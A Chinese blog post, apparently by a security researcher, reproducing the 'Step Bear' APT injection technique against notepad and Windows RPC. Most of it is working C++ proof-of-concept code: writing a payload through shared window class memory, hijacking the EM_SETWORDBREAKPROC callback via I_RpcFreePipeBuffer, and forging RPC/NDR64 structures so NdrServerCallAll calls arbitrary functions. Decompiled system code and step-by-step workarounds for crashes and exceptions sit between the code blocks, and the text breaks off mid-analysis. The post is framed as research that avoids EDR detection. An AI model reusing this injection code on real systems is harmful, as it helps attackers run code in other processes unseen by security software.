简介
在2024-04-23的时候,qax的威胁情报团队披露了一个史无前例的攻击手法:
《EDR的梦魇:Storm-0978使用新型内核注入技术“Step Bear”》
https://ti.qianxin.com/blog/articles/The-Nightmare-of-EDR-Storm-0978-Utilizing-New-Kernel-Injection-Technique-Step-Bear-CN/
那会对其就已经感兴趣了, 不过写了一会发现坑比较多需要心细逆向加上自己的事情也比较多,所以就搁置了,不过一直算一个事情吧,这几天终于下定决心进行完整复现.要不然再拖就过年了不太好。
结论
先说结论, 大部分人印象中的APT组织,可能是什么xx钓鱼.exe xx简历.exe 或者是用一些Nday开打,一系列加解密后,内存manual map一个PE文件或者shellcode上线RAT.
而实际上, 可能很多没发现的”APT”使用的技术超乎了大部分人的想象,这些APT的作者可能自己有非常丰富的开发,逆向,漏洞挖掘经验,甚至是有AV/EDR开发经验,十分熟悉操作系统内核。也熟悉怎么让安全软件shut down.毕竟,最危险的人是最懂安全软件的人
本文会详细介绍step bear的技术利用细节,此外会介绍检测办法以及附带POC源码.技术部分可能比较枯燥,如果不想看可以直接跳到文末.
免责声明
这里需要指出,虽然这篇文章可能会出现很多跟qax发布的信息有出入的地方,但并不是有抨击qax的兄弟们的意思,能分析出来大概思路的人也是牛逼。
这种高级攻击技术国内外具有发现和分析能力的厂商屈指可数.
前置技术
由于整个技术链利用非常复杂,考虑到受众,在不了解技术详情的情况下看会让人完全看不懂,所以写一下一些前置技术知识
cbClsExtra内存
整个利用技术亮点之一 是cls内存
https://learn.microsoft.com/en-us/windows/win32/winmsg/about-window-classes?redirectedfrom=MSDN
The SetClassWord and SetClassLong functions copy a value to the extra class memory. To retrieve a value from the extra class memory, use the GetClassWord and GetClassLong functions. The cbClsExtra member of the WNDCLASSEX structure specifies the amount of extra class memory to allocate. An application that does not use extra class memory must initialize the cbClsExtra member to zero.
cbClsExtra的内存是共享的,来自内核映射的.所有窗口进程都会共享这块内核地址.这就是一切的根本.这里不再阐述.
有趣的是,虽然微软提到不能超过40bytes,否则会异常,但是实际是可以超过40bytes,并且会覆盖掉其他窗口的标题的buffer导致其他窗口标题乱码
这就意味着, 你改自己窗口cls地址,其他的系统内存也会同时被修改(换句话说,改自己,别人内存也会被改)
这个修改可以用NtUserSetClassLong进行修改.
win32k窗口安全性问题
在3年前,看到过挂哥在用win32k的安全性问题做挂
更早可以到2017年就有毛子用了
在去年的时候,也遇到了一个使用win32k 的攻击样本,在key08那会还专门隐晦的提到了一下(不能说的太直接的原因是危害非常大)
造成这一切的原因是,win32k可以说跟windows的内核机制是两套东西.窗口句柄管理等不受NTOS内核的控制, 另外win32k之前是R3的,为了性能搬迁到R0,导致出现了一个R3->R0的攻击面,非常多经典的windows漏洞都出自这个攻击面里面.
RPC
在windows中有一套COM/DCOM通讯机制的上层包装,RPC,RPC更底层是ALPC,这里不做讨论.DOCM和COM绝对是有史以来windows最复杂的IPC通讯机制,也是漏洞最多的机制.WMI/计划任务/大部分横向移动 都是基于RPC的机制的(135/139/445端口).
“Step Bear”技术分析
总体流程是这样的(个人认为的):
0x1 cls内存跨进程读写payload
qax的威胁情报中心提到:
这实际上利用了cls共享内存的机制写payload
我们复现步骤也同理,创建一个窗口,这个窗口要带cbClsExtra
// 获取notepad进程中edit窗口的句柄
HWND hwndNotepad = FindWindow(L"Notepad", NULL);
HWND hwndEdit = FindWindowEx(hwndNotepad, NULL, L"Edit", NULL);
if (!hwndEdit) {
std::cerr << "FindWindowEx failed: " << GetLastError() << std::endl;
return 1;
}
// 注册一个带有额外类内存的窗口类
// https://learn.microsoft.com/en-us/windows/win32/winmsg/about-window-classes?redirectedfrom=MSDN
WNDCLASSEX wcex = {sizeof(wcex)};
wcex.lpfnWndProc = DefWindowProc;
wcex.cbClsExtra = wcex.cbWndExtra = 1024 * 64;
wcex.lpszClassName = L"CustomWindowClass";
wcex.hInstance = hInstance;
if (!RegisterClassEx(&wcex)) {
std::cerr << "RegisterClassEx failed: " << GetLastError() << std::endl;
return 1;
}
// 创建一个仅消息窗口
HWND hwndMessage =
CreateWindowExW(0, L"CustomWindowClass", NULL, 0, 0, 0, 0, 0,
HWND_MESSAGE, NULL, hInstance, NULL);
if (!hwndMessage) {
std::cerr << "CreateWindowEx failed: " << GetLastError() << std::endl;
return 1;
}
ShowWindow(hwndMessage, SW_SHOW);
UpdateWindow(hwndMessage);
然后你就可以使用
NtUserSetClassLong进行读写了
0x2 定位目标CLS内存
但是有个问题,没办法定位目标进程的cls地址,因为那个地方是每个进程map一个地址,而不是全部的.
我这边用的是readmemory,实在是想不到好的办法了.有好的办法评论区跟我说一下
首先我们给自己的cls打上标记
// 通过查找TEB->Win32ClientInfo->phkCurrent结构下的AllocationBase来确定窗口内存的基址
// 只是缩小范围,其实不如直接virtualqueryex,我实在是不知道这里要怎么定位到notepad的地址.如果用win32
// api edr绝对有痕迹 这里就是用readmemory
const char shitInput[] = {0x13, 0x37, 0xCC, 0xA0, 0xA0,
0x68, 0x75, 0x6f, 0x6a, 0x69};
// https://github.com/wine-mirror/wine/blob/1134834b7478632da9c60f36d4a7cf254729242c/dlls/win32u/class.c#L705
// offset = 0
for (size_t i = 0; i < sizeof(shitInput); i++) {
NtUserSetClassLong(hwndMessage, i, shitInput[i], FALSE);
}
然后找目标进程的地址哪里存在我们的标记:
PVOID
LookupTagClsAddressByProcess(HANDLE ProcessHandle) {
#ifdef _WIN64
#define START_ADDRESS (PVOID)0x00000000010000
#define END_ADDRESS (0x00007FF8F2580000 - 0x00000000010000)
#else
#define START_ADDRESS (PVOID)0x10000
#define END_ADDRESS (0x7FFF0000 - 0x10000)
#endif
typedef LONG(NTAPI * FnZwQueryVirtualMemory)(HANDLE, PVOID, int, PVOID,
SIZE_T, PSIZE_T);
static FnZwQueryVirtualMemory ZwQueryVirtualMemory =
(FnZwQueryVirtualMemory)GetProcAddress(LoadLibrary(L"ntdll.dll"),
"ZwQueryVirtualMemory");
if (!ZwQueryVirtualMemory) {
std::cerr << "ZwQueryVirtualMemory GetProcAddress failed: "
<< GetLastError() << std::endl;
return 0;
}
MEMORY_BASIC_INFORMATION MemoryBasicInfo = {0};
PVOID CurrentAddress = START_ADDRESS;
uint64_t TheTagClsAddress = 0;
SIZE_T BytesReturned = 0;
while (true) {
BOOLEAN ContinueEnum = FALSE;
RtlZeroMemory(&MemoryBasicInfo, sizeof(MemoryBasicInfo));
auto ntStatus = ZwQueryVirtualMemory(
ProcessHandle, CurrentAddress, 0, &MemoryBasicInfo,
sizeof(MEMORY_BASIC_INFORMATION), &BytesReturned);
if (ntStatus != 0) break;
do {
if (MemoryBasicInfo.State != MEM_COMMIT) {
break;
}
if (MemoryBasicInfo.Type != MEM_PRIVATE &&
MemoryBasicInfo.Type != MEM_MAPPED) {
break;
}
// 自己的是PAGE_READWRITE 别人的是PAGE_READONLY
if (MemoryBasicInfo.Protect != PAGE_READONLY) {
break;
}
TheTagClsAddress = (uint64_t)SundaySearch_ByProcess(
ProcessHandle, (char*)"13 37 CC A0 A0 68 75 6F 6A 69",
(UCHAR*)CurrentAddress, MemoryBasicInfo.RegionSize);
if (TheTagClsAddress != NULL) {
break;
}
} while (FALSE);
if (TheTagClsAddress != 0) {
break;
}
CurrentAddress = (PVOID)((ULONG_PTR)MemoryBasicInfo.BaseAddress +
MemoryBasicInfo.RegionSize);
}
return (PVOID)TheTagClsAddress;
}
这也符合qax说的
0x3 notepad注入
cls地址找到后,就需要找激活启动它.这边作者用了一个叫做notepad注入的东西:
这个作者抄了这玩意: https://modexp.wordpress.com/2020/07/07/wpi-wm-paste/ https://github.com/odzhan/injection/blob/master/eminject/poc.c#L38
意思其实就是,notepad的编辑框的内存是可读可写的,很适合拿来放payload, 而且可以通过窗口消息不用writememory这个敏感API就可以做到 所以他给notepad的edit组件写了一个cls的地址.这个地址可以EM_SETWORDBREAKPROC消息执行,而EM_SETWORDBREAKPROC消息是一个窗口回调,这个回调是通过PostMessageA设置的, 其中第一个参数就是 cls的地址。
具体来说
auto result1 =
SendMessageA(hwndEdit, WM_SETTEXT, 0, (LPARAM)&TheNotepadTagClsAddress);
// auto result1 = NtUserMessageCall(hwndEdit, WM_SETTEXT, 0,
// (LPARAM)&TheNotepadTagClsAddress, 0, 0x2B1, 1);
// 等完全输入完毕
WaitForInputIdle(pi.hProcess, INFINITE);
result1 = PostMessageA(hwndEdit, WM_LBUTTONDBLCLK, MK_LBUTTON, (LPARAM)0);
// ***这里有个限制 除非我是英文系统 否则会被格式为Utf-8导致不能用**
// 我直接writememory让那个地方看起来像是英文系统
auto emh = (PVOID)SendMessage(hwndEdit, EM_GETHANDLE, 0, 0);
PVOID embuf;
SIZE_T numOfWrite;
ReadProcessMemory(pi.hProcess, emh, &embuf, sizeof(ULONG_PTR), &numOfWrite);
WriteProcessMemory(pi.hProcess, embuf, &TheNotepadTagClsAddress, 8,
&numOfWrite);
......
// 2.设置I_RpcFreePipeBuffer为回调地址
// bp rpcrt4!I_RpcFreePipeBuffer
result1 = PostMessageA(hwndEdit, EM_SETWORDBREAKPROC, 0,
(LPARAM)theI_RpcFreePipeBufferAddr);
// 3. 激活
result1 = PostMessageA(hwndEdit, WM_LBUTTONDBLCLK, MK_LBUTTON, (LPARAM)0);
// 4. cleanup
SendMessage(hwndEdit, EM_SETWORDBREAKPROC, 0, (LPARAM)NULL);
简单来说,就是可以利用EM_SETWORDBREAKPROC这个回调让任意的函数地址执行恶意的payload.
不过我们这里不是英文系统,会自动的给用消息发给记事本的内存加0,比如你发了13 37 ,系统会给你改为 13 00 37 00 不太好处理,直接用writememory了
这边作者把回调地址设置为了I_RpcFreePipeBuffer:
而这个I_RpcFreePipeBuffer会把第一个参数当成RPC_MESSAGE,然后 call传进来参数的地址的
而我们第一个参数是cls的地址,这个地址我们是可控的.因此我们就实现了第一步: 让窗口可以call任意地址并且带参数.只需要我们构造合适的参数…
0x4 NdrServerCallAll
作者使用了NdrServerCallAll作为gate,让他反序化结构体
我们也这样干
const auto allocShellcodeSize = 2048;
char* tmpShellcode = (char*)malloc(allocShellcodeSize);
memset(tmpShellcode, 0, allocShellcodeSize);
char* editShellcode = (char*)malloc(allocShellcodeSize);
memset(editShellcode, 0, allocShellcodeSize);
// I_RpcFreePipeBuffer(Message)
// Message = EditControlPtr
// Message->Handle = Shellcode
// *Message->Handle = Shellcode
*(ULONG_PTR*)tmpShellcode = (ULONG_PTR)TheNotepadTagClsAddress;
// *Message->Handle + 0x80 = NdrServerCallAll
*(ULONG_PTR*)(tmpShellcode + 0x80) = (ULONG_PTR)theNdrServerCallAllAddress;
NdrServerCallAll的函数会call一个Ndr64StubWorker
这个 Ndr64StubWorker的实现非常复杂,我们需要逐步拆解
0x5 Ndr64StubWorker
这个函数接受一个RPC的结构体:
不过这个是32位的图,64位偏移得变一下
RPC_MESSAGE
buffer:存储函数调用中使用的参数的缓冲区。
BufferLength:缓冲区的长度
ProcNum:过程号,DispatchTable中要调用的函数索引
RpcInterfaceInformation:RPC_SERVER_INTERFACE结构体指针
RPC_SERVER_INTERFACE
InterpreterInfo:MIDL_SERVER_INFO结构指针
MIDL_SERVER_INFO
pStubDesc:MIDL_STUB_DESC结构体指针;
DispatchTable:功能表
ProcString:存储调用过程所需的信息(调用中使用的堆栈大小、参数数量等)
FmtStringOffset:存储调用特定过程时要使用的 ProcString 偏移量的数组。
这个函数流程如下:
MulNdrpInitializeContextFromProc 初始化RPC上下文-我们不关心
NdrpServerInit 初始化RPC服务端 -我们不关心
NdrpServerUnMarshal 反序化参数 -我们关心
Invoke 执行 -我们关心
初始化_MIDL_STUB_MESSAGE
这个函数在前面进行一系列的检查后,会先给自己赋值一个结构体_MIDL_STUB_MESSAGE
pContext = (unsigned __int8 **)pMessage.pContext;
memset_0(&pMessage, 0, sizeof(pMessage));
pMessage.dwDestContext = 2;
pMessage.BufferStart = (unsigned __int8 *)prpcMsg->Buffer;
pMessage.BufferEnd = &pMessage.BufferStart[prpcMsg->BufferLength];
pMessage.pfnAllocate = pStubDesc->pfnAllocate;
pMessage.pfnFree = pStubDesc->pfnFree;
pMessage.ReuseBuffer = 0;
pMessage.StubDesc = pStubDesc;
pMessage.RpcMsg = prpcMsg;
pMessage.Buffer = pMessage.BufferStart;
pMessage.pContext = (_NDR_PROC_CONTEXT *)pContext;
pMessage.StackTop = pContext[6];
*((_DWORD *)&pMessage + 48) = *((_DWORD *)&pMessage + 48) & 0xFFFFF6FF | 0x100;
pMessage.pUserMarshalList = 0i64;
pMessage.LowStackMark = &v93 - 1333;
pMallocFreeStruct = pStubDesc->pMallocFreeStruct;
初始化完毕后,会把函数反序化给 Ndr64pServerUnMarshal
(https://key08.com/usr/uploads/2024/10/1816722762.png)
然后根据信息分配服务端的handle:
再然后判断是否有thunk table,如果没有,则从dispatchtable取值做invoke
而dispatchtable是我们可控的,这就是整个游戏的关键.
之后的暂时不分析,我们一个一个来说
0x6 payload构造
RPC结构体构造
这边非常的感谢朋友 heroman 的帮助, 没有他这个就进行不下去了,因为我写了一坨狗屎,第二天就全忘记了
然后heroman不断修改,改正常一点了,要不然真没办法写了
payload:
RPC_MESSAGE* RpcMsg0 = (RPC_MESSAGE*)tmpShellcode;
RPC_SERVER_INTERFACE* RpcInterfaceInfo0 =
(RPC_SERVER_INTERFACE*)(tmpShellcode + 0x88);
MIDL_SERVER_INFO* RpcSrvInfo0 =
(MIDL_SERVER_INFO*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE));
PVOID* DispatchTable0 =
(PVOID*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) +
sizeof(MIDL_SERVER_INFO));
MIDL_SYNTAX_INFO* SyntaxInfo0 =
(MIDL_SYNTAX_INFO*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) +
sizeof(MIDL_SERVER_INFO) + sizeof(PVOID));
MIDL_STUB_DESC* StubDesc0 =
(MIDL_STUB_DESC*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) +
sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) +
sizeof(MIDL_SYNTAX_INFO) * 2);
ULONG_PTR* FmtStrOffset0 =
(ULONG_PTR*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) +
sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) +
sizeof(MIDL_SYNTAX_INFO) * 2 + sizeof(MIDL_STUB_DESC));
NDR64_PROC_FORMAT* ProcStr0 =
(NDR64_PROC_FORMAT*)(tmpShellcode + 0x88 +
sizeof(RPC_SERVER_INTERFACE) +
sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) +
sizeof(MIDL_SYNTAX_INFO) * 2 +
sizeof(MIDL_STUB_DESC) + sizeof(ULONG_PTR));
//_NDR_PROC_CONTEXT Ndr+Proc
DispatchTable0[0] = (PVOID)theNdrServerCallAllAddress;
RpcSrvInfo0->DispatchTable =
(SERVER_ROUTINE*)REMOTE_CLS_ADDRESS(DispatchTable0);
FmtStrOffset0[0] = (ULONG_PTR)REMOTE_CLS_ADDRESS(ProcStr0);
(SyntaxInfo0 + 1)->FmtStringOffset =
(USHORT*)REMOTE_CLS_ADDRESS(FmtStrOffset0);
RpcSrvInfo0->pSyntaxInfo =
(MIDL_SYNTAX_INFO*)REMOTE_CLS_ADDRESS(SyntaxInfo0);
RpcSrvInfo0->pStubDesc = (MIDL_STUB_DESC*)REMOTE_CLS_ADDRESS(StubDesc0);
RpcSrvInfo0->DispatchTable =
(SERVER_ROUTINE*)REMOTE_CLS_ADDRESS(DispatchTable0);
// RpcSrvInfo0->FmtStringOffset = (unsigned short*)0x1337;
RpcSrvInfo0->ProcString = (PFORMAT_STRING)0xAAAA;
RpcInterfaceInfo0->InterpreterInfo =
(MIDL_SERVER_INFO*)REMOTE_CLS_ADDRESS(RpcSrvInfo0);
RpcMsg0->RpcInterfaceInformation =
(RPC_SERVER_INTERFACE*)REMOTE_CLS_ADDRESS(RpcInterfaceInfo0);
RpcMsg0->ProcNum = 0;
RpcMsg0->RpcFlags = 0x1000;
这块没heroman真做不了,这个结构体非常复杂.网上有个公开的填充,但是是韩国人写的,代码更加不忍直视、
这个就是标准的结构体了
Ndr64pServerUnMarshal异常
直接执行会发现抛异常
关键代码如下:
LABEL_67:
if ( !ThreadPointer )
goto LABEL_58;
goto LABEL_57;
}
LABEL_18:
result = a1->RpcMsg;
Handle = a1->RpcMsg->Handle;
if ( Handle )
{
if ( (*((_BYTE *)a1->pContext + 88) & 2) != 0 )
{
return (PRPC_MESSAGE)_guard_xfg_dispatch_icall_fptr(a1, a2);
}
else
{
result = (PRPC_MESSAGE)_guard_xfg_dispatch_icall_fptr(Handle, 5i64);
if ( (_DWORD)result )
RpcRaiseException(1783);
}
}
换个别人的,我的windows太新了有XFG:
LABEL_26:
v25 = pStubMsg1->RpcMsg;
v26 = (LRPC_SCALL *)pStubMsg1->RpcMsg->Handle;//VideoDirtListener, first entry of fake vftable
if ( v26 )
{
if ( (pStubMsg1->pContext->Flags & 2) != 0 )
{
...
}
else
{
v27 = *(int (__fastcall **)(LRPC_SCALL *, unsigned int))(*(_QWORD *)v26 + 0x100i64);
if ( v27 == LRPC_SCALL::CleanupSystemHandles )
LODWORD(v25) = LRPC_SCALL::CleanupSystemHandles(v26, 5u);
else
LODWORD(v25) = v27(v26, 5u);
if ( (_DWORD)v25 )
RpcRaiseException(1783);
}
}
return (int)v25;
}
这个异常的原因是,他一定会执行handle+0x100的地址,而且这个地址需要返回0 否则会抛异常
韩国人的解决办法是填virtualprotect,这样他会返回false,而也就接大欢喜了
增加代码如下:
*(ULONG_PTR*)(tmpShellcode + 0x100) =
(ULONG_PTR)VirtualProtect; // 为了通过Ndr64pServerUnMarshal最后的那一段
参数问题
修复好后,继续往下走,会发现我们继续抛了异常:
出现的位置在for循环根据handle创建服务端handle的代码里面:
or ( i = 0; ; ++i ) // 这一段在XP下应该是 Ndr64OutInit 被Ndr64pServerOutInit内链进来了
{
v108 = i;
if ( i >= *((_DWORD *)v22 + 8) )
break;
pParam = (struct_pParam *)(v23 + 16i64 * i);// pParamFlags = ( NDR64_PARAM_FLAGS * ) & ( Params[n].Attributes );
pParamFlags = (struct_ProcStr0_2)pParam->Attributes;
if ( (*(_WORD *)&pParamFlags & 0x800) != 0 )
{
pArg = (unsigned __int8 **)(*((_QWORD *)v22 + 6) + pParam->StackOffset);
v103 = pArg;
if ( *pArg )
goto LABEL_33;
}
else if ( (*(_BYTE *)&pParamFlags & 8) == 0
&& ((*(_BYTE *)&pParamFlags & 0x20) == 0 || (*v24 & 0x100000) != 0)
&& (*(_BYTE *)&pParamFlags & 4) == 0 )
{
pArg = (unsigned __int8 **)(*((_QWORD *)v22 + 6) + pParam->StackOffset);
v103 = pArg;
LABEL_33:
if ( *(__int16 *)&pParamFlags >= 0 )
.....
他想读一个’Q’ 结果我那个地方是空指针
有什么办法可以跳过吗?
根据逆向调试,我们可以知道他跟params相关:
pParamFlags = ( NDR64_PARAM_FLAGS * ) & ( Params[n].Attributes );
基本上,他根据Attributes 来判断这个flag是否需要进行操作.而我们没填任何Attributes,导致他走到了Q的位置
他读的位置,是ProcStr0的位置
读的他之后的:
而他是按照pcontext.paramsnum来读的,pcontext.paramsnum是在MulNdrpInitializeContextFromProc的时候初始化的,我们不可能控制.
鲁迅说得好,XP代码就是你的坚实后盾.当你一筹莫展的时候,看看XP代码
在XP代码里面,pcontext是由NdrServerSetupNDR64TransferSyntax初始化的,跟我们的牛头不对马嘴,但是怎么拿参数的肯定没变:
这个参数是由NdrpGetProcString读的:
void
NdrServerSetupNDR64TransferSyntax(
ulong ProcNum,
MIDL_SYNTAX_INFO * pSyntaxInfo,
NDR_PROC_CONTEXT * pContext)
{
PFORMAT_STRING pFormat;
SYNTAX_TYPE SyntaxType = XFER_SYNTAX_NDR64;
NDR_ASSERT( SyntaxType == NdrpGetSyntaxType( &pSyntaxInfo->TransferSyntax ) ,
"invalid transfer sytnax" );
pFormat = NdrpGetProcString( pSyntaxInfo,
SyntaxType,
ProcNum );
MulNdrpInitializeContextFromProc(
SyntaxType,
pFormat,
pContext,
NULL ); // StartofStack. Don't have it yet.
pContext->pSyntaxInfo = pSyntaxInfo;
}
而这个NdrpGetProcString,是从用户里面ProcString提取的
__forceinline
PFORMAT_STRING
NdrpGetProcString( PMIDL_SYNTAX_INFO pSyntaxInfo,
SYNTAX_TYPE SyntaxType,
ulong nProcNum )
{
if ( SyntaxType == XFER_SYNTAX_DCE )
{
unsigned long nFormatOffset;
nFormatOffset = (pSyntaxInfo->FmtStringOffset)[nProcNum];
return (PFORMAT_STRING) &pSyntaxInfo->ProcString[nFormatOffset];
}
else
{
return ((PFORMAT_STRING*)(pSyntaxInfo->FmtStringOffset))[nProcNum];
}
}
读到之后,由MulNdrpInitializeContextFromProc赋值参数:
else if ( SyntaxType == XFER_SYNTAX_NDR64 )
{
NDR64_PROC_FLAGS * pProcFlags;
pContext->CurrentSyntaxType = XFER_SYNTAX_NDR64;
pContext->Ndr64Header = (NDR64_PROC_FORMAT *)pFormat;
pContext->HandleType =
NDR64MAPHANDLETYPE( NDR64GETHANDLETYPE( &pContext->Ndr64Header->Flags ) );
pContext->UseLocator = (FC64_AUTO_HANDLE == pContext->HandleType);
RpcFlags = pContext->Ndr64Header->RpcFlags;
#if defined(_AMD64_) || defined(_IA64_)
pContext->FloatDoubleMask = pContext->Ndr64Header->FloatDoubleMask;
#endif // defined(_AMD64_) || defined(_IA64_)
pContext->NumberParams = pContext->Ndr64Header->NumberOfParams;
pContext->Params = (NDR64_PROC_FORMAT *)( (char *) pFormat + sizeof( NDR64_PROC_FORMAT ) + pContext->Ndr64Header->ExtensionSize );
pContext->StackSize = pContext->Ndr64Header->StackSize;
pProcFlags = (NDR64_PROC_FLAGS *) &pContext->Ndr64Header->Flags;
pContext->HasComplexReturn = pProcFlags->HasComplexReturn;
pContext->IsAsync = pProcFlags->IsAsync;
pContext->IsObject = pProcFlags->IsObject;
pContext->HasPipe = pProcFlags->UsesPipes;
pContext->ExceptionFlag = pContext->IsObject || pProcFlags->HandlesExceptions;
} // XFER_SYNTAX_NDR64
#endif
知道这样来的我们就好办多了,我们刚刚遇到的那个炸,跟参数有关系.他会判断参数是不是需要特殊初始化服务端的flag,如果是就会设置一些东西导致炸掉
void
Ndr64pServerOutInit( PMIDL_STUB_MESSAGE pStubMsg )
{
NDR_PROC_CONTEXT * pContext = ( NDR_PROC_CONTEXT *) pStubMsg->pContext;
NDR64_PARAM_FLAGS * pParamFlags;
NDR64_PARAM_FORMAT* Params = (NDR64_PARAM_FORMAT*)pContext->Params;
NDR64_PROC_FLAGS * pNdr64Flags = (NDR64_PROC_FLAGS *)&pContext->Ndr64Header->Flags;
uchar * pArg;
for ( ulong n = 0; n < pContext->NumberParams; n++ )
{
pParamFlags = ( NDR64_PARAM_FLAGS * ) & ( Params[n].Attributes );
if ( !pParamFlags->IsPartialIgnore )
{
if ( pParamFlags->IsIn ||
(pParamFlags->IsReturn && !pNdr64Flags->HasComplexReturn) ||
pParamFlags->IsPipe )
continue;
pArg = pContext->StartofStack + Params[n].StackOffset;
}
else
{
pArg = pContext->StartofStack + Params[n].StackOffset;
if ( !*(void**)pArg )
continue;
}
//
// Check if we can initialize this parameter using some of our
// stack.
//
if ( pParamFlags->UseCache )
{
*((void **)pArg) = NdrpAlloca( &pContext->AllocateContext, 64 );
MIDL_memset( *((void **)pArg),
0,
64 );
continue;
}
else if ( pParamFlags->IsBasetype )
{
*((void **)pArg) = NdrpAlloca( &pContext->AllocateContext,8);
MIDL_memset( *((void **)pArg), 0, 8 );
continue;
};
Ndr64OutInit( pStubMsg,
Params[n].Type,
(uchar **)pArg );
}
}
其中
if ( pParamFlags->IsIn ||
(pParamFlags->IsReturn && !pNdr64Flags->HasComplexReturn) ||
pParamFlags->IsPipe )
continue;
参数flag是关键
因此,我们可以得出结论:
-
这个参数是用户的procstring后面的buffer控制
-
prcostring控制了参数数量和stack
-
每个参数由单独的属性
因此,我们可以设置procstring为一个参数,然后给他设置flag为IsIn 跳过初始化:
auto paramsBuffer = tmpShellcode + calcOffset;
// 设置参数
RpcMsg0->Buffer = (void*)REMOTE_EDIT_ADDRESS(paramsBuffer);
RpcMsg0->BufferLength = virtualProtectParamSize; // virtualprotect的参数
calcOffset += RpcMsg0->BufferLength;
设置参数:
static auto currentCopyCount = 0;
auto ndr64Param = (_NDR64_PARAM_FORMAT*)(tmpShellcode + calcOffset);
ndr64Param->Attributes.IsIn = true;
ndr64Param->Attributes.IsBasetype = true;
// auto typeAddress = tmpShellcode + calcOffset;
// theParamTypeAddress.push_back(typeAddress);
// ndr64Param->Type = (void*)REMOTE_CLS_ADDRESS(typeAddress);
ndr64Param->StackOffset = currentCopyCount * 4;
currentCopyCount += 1;
// 这个没用,因为不走IsSimpleRef,simpleref那段内存是read only没办法赋值
// https://github.com/ufwt/windows-XP-SP1/blob/d521b6360fcff4294ae6c5651c539f1b9a6cbb49/XPSP1/NT/com/rpc/ndr64/srvcall.cxx#L694C31-L694C43
//*(char*)(typeAddress) = (char)_Ndr64SimpleTypeBUfferSizeMap::kint64;
// calcOffset += sizeof(_NDR64_PARAM_FORMAT);
theParamTypeAddress.push_back(ndr64Param);
calcOffset += sizeof(_NDR64_PARAM_FORMAT);
注意,代码里面没有实际设置isin,因为待会会说参数传参问题。现在就走到了dispatchtable的invoke逻辑了:
新的问题已经到来,我们怎么传参?
Ndr64pServerUnMarshal
参数传递是由Ndr64pServerUnMarshal完成的.这块逻辑也很复杂:
v7 = 4096;
do
{
v8 = (unsigned __int8 **)(v6 + 16i64 * v5);
v9 = *((_WORD *)v8 + 4);
if ( (v9 & 0xC) == 8 )
{
v10 = (_QWORD *)(*((_QWORD *)pContext + 6) + *((unsigned int *)v8 + 3));
if ( (v9 & 0x800) != 0 )
{
v39 = (unsigned __int8 *)((unsigned __int64)(a1->Buffer + 7) & 0xFFFFFFFFFFFFFFF8ui64);
a1->Buffer = v39;
*v10 = *(_QWORD *)v39 != 0i64;
a1->Buffer += 8;
if ( a1->Buffer > a1->BufferEnd )
goto LABEL_70;
}
else
{
v53 = (_QWORD *)(*((_QWORD *)pContext + 6) + *((unsigned int *)v8 + 3));
if ( (v9 & 0x40) != 0 )
{
v24 = **v8;
if ( (v9 & 0x100) != 0 )
{
v27 = **v8; // https://github.com/ufwt/windows-XP-SP1/blob/d521b6360fcff4294ae6c5651c539f1b9a6cbb49/XPSP1/NT/com/rpc/ndr64/srvcall.cxx#L685
v28 = (unsigned __int8 *)(-(__int64)*((unsigned __int8 *)&Ndr64SimpleTypeBufferSize + v24) & (__int64)&a1->Buffer[*((unsigned __int8 *)&Ndr64SimpleTypeBufferSize + v24) - 1]);
a1->Buffer = v28;
*v10 = v28;
a1->Buffer += *((unsigned __int8 *)&Ndr64SimpleTypeBufferSize + v27);
}
else if ( (_DWORD)v24 == 5 ) // IsBasetype
{
LABEL_24:
v25 = (unsigned __int8 *)((unsigned __int64)(a1->Buffer + 3) & 0xFFFFFFFFFFFFFFFCui64);
a1->Buffer = v25;
if ( v25 + 4 > a1->BufferEnd || v25 + 4 < v25 )
LABEL_70:
RpcRaiseException(1783);
*(_DWORD *)v10 = *(_DWORD *)v25;
a1->Buffer += 4;
}
else
{
switch ( **v8 )
{
case 1u:
case 2u:
case 0x10u:
Buffer = a1->Buffer;
v31 = Buffer + 1;
if ( Buffer + 1 > a1->BufferEnd || v31 < Buffer )
goto LABEL_70;
v32 = *Buffer;
a1->Buffer = v31;
*(_BYTE *)v10 = v32;
break;
case 3u:
case 4u:
case 0x11u:
v26 = (unsigned __int8 *)((unsigned __int64)(a1->Buffer + 1) & 0xFFFFFFFFFFFFFFFEui64);
a1->Buffer = v26;
if ( v26 + 2 > a1->BufferEnd || v26 + 2 < v26 )
goto LABEL_70;
*(_WORD *)v10 = *(_WORD *)v26;
a1->Buffer += 2;
break;
case 6u:
case 0xBu:
case 0x13u:
goto LABEL_24;
case 7u:
case 8u:
case 0xCu:
v29 = (unsigned __int8 *)((unsigned __int64)(a1->Buffer + 7) & 0xFFFFFFFFFFFFFFF8ui64);
a1->Buffer = v29;
if ( v29 + 8 > a1->BufferEnd || v29 + 8 < v29 )
goto LABEL_70;
*v10 = *(_QWORD *)v29;
a1->Buffer += 8;
break;
case 0x12u:
break;
default:
RpcRaiseException(1766);
}
}
if ( a1->Buffer > a1->BufferEnd )
goto LABEL_70;
}
结合XP的代码,简单来说:
循环pcontext的参数
for ( ulong n = 0; n < pContext->NumberParams; n++ )
{
NDR64_PARAM_FLAGS *pParamFlags =
( NDR64_PARAM_FLAGS * ) & ( Params[n].Attributes );
if ( ! pParamFlags->IsIn ||
pParamFlags->IsPipe )
continue;
如果flag是isin则不会赋值,所以我们之前不能设置isin.
然后读参数的stack位置。这个参数的拷贝是从我们给的rpcmessage->buffer里面拿的:
读的位置也是我们给的参数属性的stackoffset:
uchar *pArg = pContext->StartofStack + Params[n].StackOffset;
这个也是我们指定的:
然后判断参数flag里面是simpleref还是拷贝,如果是IsSimpleRef ,则直接把指针指过去
,如果是拷贝,则读type:
if ( pParamFlags->IsSimpleRef )
{
ALIGN( pStubMsg->Buffer, NDR64_SIMPLE_TYPE_BUFALIGN( type ) );
*((uchar **)pArg) = pStubMsg->Buffer;
pStubMsg->Buffer += NDR64_SIMPLE_TYPE_BUFSIZE( type );
}
else
{
Ndr64SimpleTypeUnmarshall(
pStubMsg,
pArg,
type );
}
Ndr64SimpleTypeUnmarshall是XP的说法,我的系统已经内链上去了
这一段里面的v8就是那个type,type是一个指针.里面是内容.有个所谓的大小,这个大小XP代码不对,我自己看IDA逆向的:
/*
